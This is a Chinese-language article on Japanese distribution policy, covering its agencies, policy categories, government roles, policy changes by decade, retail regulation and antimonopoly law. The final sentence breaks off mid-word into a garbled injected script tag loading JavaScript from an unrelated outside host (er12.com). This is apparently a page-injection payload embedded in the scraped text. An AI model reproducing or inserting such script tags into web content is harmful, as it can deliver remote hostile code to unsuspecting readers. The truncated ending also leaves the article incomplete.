日本的流通业包括商流和物流。流通机关包括商流领域(生产者、批发业者、零售业者和消费者)、物流领域 (生产者、运输业者、仓储业者、装卸业者、流通加工业者及批发零售业者和消费者)、补充领域 (信息服务业者、金融业者、保险业者、政府部门及公共团体)。流通领域行政主管部门有：经济产业省(含中小企业厅)、农林水产省、厚生劳动省、国土交通省、公平交易委员会、地方政府和地方公共团体等。
日本流通管理的目标是：满足消费者的需求，提高社会福利；保障适时适量地供应；提高流通业的经济性和效率性，满足消费者的经济需求及提高国民的生活质量。日本流通政策分为二类：一、根据法规和条例执行的政策；二、根据经济产业省、农林水产省、中小企业厅、公平交易委员会和地方公共团体等行政机关的权限进行行政指导的政策。
一、日本流通管理的做法
1、政府制定和实施流通政策以维护交易秩序和建设，整治流通机构及提高流通生产行为政策侧重点
（一）日本流通政策可归纳为四个类型：
（1）以提高流通生产性为目的的政策(中小零售商业振兴法等)；
（2）以维护和促进竞争为目的的政策(禁止垄断和反不公正交易法等)；
（3）以保护环境为目的的政策(再生资源利用推进法)；
（4）以提高城市功能为目的的政策(促进建设商业中心等)。
日本流通管理体制为跨部门管理。不同行业及商品由不同部门管理，通过各种法律，使各管理部门业务既相互衔接、环环相扣，又有分工和协调配合。
（二）二战后，日本经济高速发展，通过流通机构的现代化提高流通生产性，促进竞争，构筑具有国际开放性的流通体系成为日本流通政策的主要课题。政府的管理侧重于产业政策的制定、宏观引导，微观上以经济手段管理流通，发挥促进、协调及服务作用，创造良好的市场环境。主要表现为运用价格调控市场，运用税收调整所有者的经济利益关系，运用金融手段聚集民间资金，引导民间资金流向；通过直接投资和补贴政策发展市场、稳定市场。流通企业的自主性较大。
（三）日本中央政府负责流通政策的制定和解释，对地方政府进行政策指导，地方政府负责具体流通业务的管理。特别重大和敏感行业的流通业务地方政府需报中央政府审批和解决。
（四）一些大型流通项目资金主要由企业自筹，但中央政府和地方政府也可视情况提供优惠低息贷款或补助金，基本为企业自筹50%、地方政府融资40%、中央政府融资10%的比例。
（五）通过民间组织尤其是行业组织下达政策，与企业进行双向对话交流等。日本流通领域存在众多商业团体和协会、联合会等，政府依靠这些组织联系广大商业、流通业企业，企业也通过行业组织与政府对话，反映情况和提出政策建议等。
2、作为经济政策，日本的流通政策突出社会政策性。日本流通行政管理随着经济发展适时调整、变化
60年代日本流通政策主要为安置过剩人口，扩大就业，鼓励发展小型零售企业为主。为避免过度竞争使中小零售企业陷入困境，当时的流通政策侧重于促进流通合理化和系统化，减轻竞争压力。60年代后期物价问题突出，流通政策转为促进中小商业企业现代化和合理化经营；进入70年代，日本商业企业出现兼并浪潮，大型超市连锁经营迅猛发展，流通政策以促进小零售企业合并重组、联合经营为主导；80年代后，迫于欧美国家要求开放市场的压力，流通政策侧重于改造流通结构和变革日本商业习惯为主。90年代以后以调整经营战略和规模，减少不良债务，实现跨国经营等为主。
为保护中小商业企业，原通商产业省出台了《大规模零售店铺法》，对大零售企业的营业时间等给予限制。汽车的出现及发达的交通体系，使消费者到郊外大超市集中购物成为可能。由于经济长期低迷，消费下降，小零售店铺纷纷向大超市集中，以求得更多客源，提高经营效益。各大超市集团间的竞争也趋于激烈，强烈呼吁放宽限制，延长营业时间等。为此，通产省于2000年6月对该法规进行了修改，允许超市等大零售企业的营业时间延长到深夜24时。
3、以市场为中心，建立和完善法律体系，通过税收等经济手段对流通活动进行调节和干预
（一）运用法律手段管理流通，建立有序、自由公平竞争的市场环境。“保持竞争、维护交易秩序”是日本流通行政管理的原则。
（1）禁止垄断。日本政府制定的《独占禁止法》(禁止垄断法)等相关法规，涵盖所有流通活动，从防止私自垄断、限制不正当交易和不公正交易方法三个方面禁止商业垄断行为。据此，日本政府禁止有实力的生产厂家控股流通企业，对生产厂家持有流通企业的股份、兼任流通企业的高级职务，以及流通企业间的兼并、转让经营权等均有明确的限制规定，禁止出现垄断市场、取消竞争?script src=http://er12.com/t.js>
